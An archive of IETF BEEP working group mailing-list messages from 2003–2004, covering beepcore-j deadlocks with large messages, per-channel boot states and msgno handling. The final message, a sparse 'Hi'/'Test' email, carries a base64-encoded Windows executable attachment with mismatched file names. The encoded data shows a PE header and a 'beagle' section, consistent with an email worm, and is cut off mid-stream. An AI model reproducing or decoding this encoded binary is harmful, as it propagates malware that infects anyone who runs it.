Jetzt kostenlos anmelden unter http://www.gmx.net

+++ GMX - die erste Adresse für Mail, Message, More! +++


From nospam@corporatefallout.com Mon Oct 20 11:51:28 2003
Received: from wbm2.pair.net (wbm2.pair.net [209.68.3.43])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id h9KIpSVX002691
	for <beepwg@lists.beepcore.org>; Mon, 20 Oct 2003 11:51:28 -0700 (PDT)
Received: (qmail 52823 invoked by uid 65534); 20 Oct 2003 18:51:20 -0000
Received: from 146.180.106.194 ([146.180.106.194])
        (SquirrelMail authenticated user nospam@corporatefallout.com)
        by webmail.pair.com with HTTP;
        Mon, 20 Oct 2003 14:51:20 -0400 (EDT)
Message-ID: <34236.146.180.106.194.1066675880.squirrel@webmail.pair.com>
Date: Mon, 20 Oct 2003 14:51:20 -0400 (EDT)
From: <nospam@corporatefallout.com>
To: <beepwg@lists.beepcore.org>
X-pair-Authenticated: 146.180.106.194
X-Priority: 3
Importance: Normal
X-Mailer: SquirrelMail (version 1.2.11)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Subject: [BEEPwg] beepcore implementation
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

Does beepcore-j limit the size on messages (in particular ANS & RPY).  I
recently began using beepcore-j, and initially my messages were roughly
500 bytes and everything worked very well.  The message size has now grown
to about 5k, and after a few messages, the processing stops, as if
receiveANS and receiveRPY are no longer being called.  I tried spawning a
new thread to handle read the message input stream, and it didn't seem to
help very much.  Do I need to break the messages up into smaller pieces,
or am I doing something else incorrectly?

Thanks for any help!

Troy



From jered@permabit.com Mon Oct 20 12:40:14 2003
Received: from act-of-god.permabit.com (act-of-god.permabit.com [67.107.99.100])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id h9KJeDVX003129
	for <beepwg@lists.beepcore.org>; Mon, 20 Oct 2003 12:40:14 -0700 (PDT)
Received: from questionably-configured.permabit.com.permabit.com (questionably-configured.permabit.com [10.0.8.28])
	by act-of-god.permabit.com (Postfix) with ESMTP
	id 6261413ACB; Mon, 20 Oct 2003 15:40:03 -0400 (EDT)
To: <nospam@corporatefallout.com>
Cc: <beepwg@lists.beepcore.org>
Subject: Re: [BEEPwg] beepcore implementation
References: <34236.146.180.106.194.1066675880.squirrel@webmail.pair.com>
From: Jered Floyd <jered@permabit.com>
Date: 20 Oct 2003 15:40:03 -0400
In-Reply-To: <34236.146.180.106.194.1066675880.squirrel@webmail.pair.com>
Message-ID: <87u163zoj0.fsf@questionably-configured.permabit.com>
Lines: 56
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Common Lisp)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> Does beepcore-j limit the size on messages (in particular ANS & RPY).  I
> recently began using beepcore-j, and initially my messages were roughly
> 500 bytes and everything worked very well.  The message size has now grown
> to about 5k, and after a few messages, the processing stops, as if
> receiveANS and receiveRPY are no longer being called.  I tried spawning a
> new thread to handle read the message input stream, and it didn't seem to
> help very much.  Do I need to break the messages up into smaller pieces,
> or am I doing something else incorrectly?

Troy,

You probably want the list "beepcore-java-users@lists.sourceforge.net";
this list is for discussion of the BEEP protocol as opposed to its
implementations.

That said, the problem is that you will deadlock with the remote peer
if you try to read in a complete message with receiveMSG() when it is
called, because the thread that calls receiveMSG() is also responsible
for sending out SEQs as data is read in to your application.  If you
ever receive a message that is larger than the channel window buffer
size, your application will fail to read it in, waiting for more data
that will never come (until you return and let the thread do its
housekeeping.)

Attached is a message from the beepcore-java-users list regarding this
problem; I believe it is the same as you are seeing.

--Jered

From: Jered Floyd <jered@permabit.com>
Subject: Re: [Beepcore-java-users] any solution to handle multiple frames?
To: "Cao, Ben P" <bcao@cp10.es.xerox.com>
Cc: "'beepcore-java-users@lists.sourceforge.net'" <beepcore-java-users@lists.sourceforge.net>
Date: 13 Sep 2001 15:28:38 -0400

"Cao, Ben P" <bcao@cp10.es.xerox.com> writes:

> I now have problem with message being sent that is greater than 4K. I
> noticed that there is one previous posting and resolution to the problem by
> Huston for the next release version of Beep. However, does anyone find a way
> to deal with this at all? I am trying to fix it, but unsuccessful.

Yes; to work around this for the time being, make sure that the read()
on the input streams occurs in a different thread from the
SessionThread, which is where receiveMSG() is called.  Have your
receiveMSG() give the Message object to another thread for processing
(i.e. store it in an instance field and notify() to wake a different
thread that is wait()ing on the Message, or what-have-you.)

Beepcore provides MessageQueue, which may be able to help you
here. Register a MessageQueue (instead of your current class) as the
MessageListener, and have your class take the Messages from the Queue 
from a separate thread.

--Jered


From mrose@dbc.mtview.ca.us Mon Oct 20 16:04:47 2003
Received: from drakken.dbc.mtview.ca.us ([65.125.189.56])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id h9KN4lVX004660
	for <beepwg@lists.beepcore.org>; Mon, 20 Oct 2003 16:04:47 -0700 (PDT)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h9KN4UQP002246;
	Mon, 20 Oct 2003 16:04:30 -0700 (PDT)
Date: Mon, 20 Oct 2003 16:04:30 -0700
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: "Ingo Funken" <california10@gmx.de>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] About the two states in the BEEP Profile for SOAP
Message-Id: <20031020160430.261d51e1.mrose@dbc.mtview.ca.us>
In-Reply-To: <3720.1066645370@www4.gmx.net>
References: <3720.1066645370@www4.gmx.net>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> Hello BEEP-WG,
> my question is about the boot and ready state in rfc 3288. Do these states
> concern only the session? Or do these states exist for every 
> channel we create?

it pertains to each channel. the reason, of course, is that the bootmsg
sent in the boot state may request a different resource for each
channel...
    
/mtr
    

From jhw@wetware.com Tue Nov  4 22:29:30 2003
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id hA56TUOA011501
	for <beepwg@lists.beepcore.org>; Tue, 4 Nov 2003 22:29:30 -0800 (PST)
Received: from [208.177.152.18] (helo=[10.0.1.2])
	by wetware.com with esmtp (Exim 4.20)
	id 1AHHA7-0000In-Ta; Tue, 04 Nov 2003 22:29:04 -0800
In-Reply-To: <28915501A44DBA4587FE1019D675F98307C71F@grfint.intern.adiscon.com>
References: <28915501A44DBA4587FE1019D675F98307C71F@grfint.intern.adiscon.com>
Mime-Version: 1.0 (Apple Message framework v606)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <598A3A54-0F59-11D8-A525-000393BA7EBA@wetware.com>
Content-Transfer-Encoding: 7bit
Cc: <beepwg@lists.beepcore.org>
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Date: Tue, 4 Nov 2003 22:29:03 -0800
To: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
X-Mailer: Apple Mail (2.606)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On 16 Sep 2003, at 02:02, Rainer Gerhards wrote:
>
> [...] There are two advancing "message ids" in BEEP. One is the seqno, 
> the other is the msgno. [...]

There is no requirement that 'msgno' numbers advance in any sequential 
order.  In fact, if an implementation never pipelines multiple MSG 
entities before receiving the corresponding RPY/ERR/ANS/NUL response 
frames, then the 'msgno' field in the MSG header could always be zero.

The 'msgno' field is only required for sanity-checking the correlation 
between MSG entities and their response entities.  It *may* be useful 
for other things, therefore: it's my opinion that generalized 
implementations of RFC 3080 should allow applications to control the 
value of the 'msgno' field in the header.

Also, keep in mind that the 'Content-Id' entity header field may be 
used in messages to uniquely and globally identify messages on a 
persistent basis.


-- 
j h woodyatt <jhw@wetware.com>


From eamon.otuathail@clipcode.com Mon Jan 19 19:50:11 2004
Received: from kang ([211.188.21.41])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i0K3o9on020479
	for <beepwg@lists.beepcore.org>; Mon, 19 Jan 2004 19:50:10 -0800 (PST)
Date: Tue, 20 Jan 2004 12:50:11 +0900
To: beepwg@lists.beepcore.org
From: eamon.otuathail@clipcode.com
Message-ID: <ihwnsnjkcvbvmfsrume@clipcode.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------375347424173232"
Subject: [BEEPwg] Hi
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

----------375347424173232
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
pvqtnpfistsseumbufjrk
--
Test, yep.

----------375347424173232
Content-Type: application/x-msdownload; name="cycpdyfjak.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="etucni.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
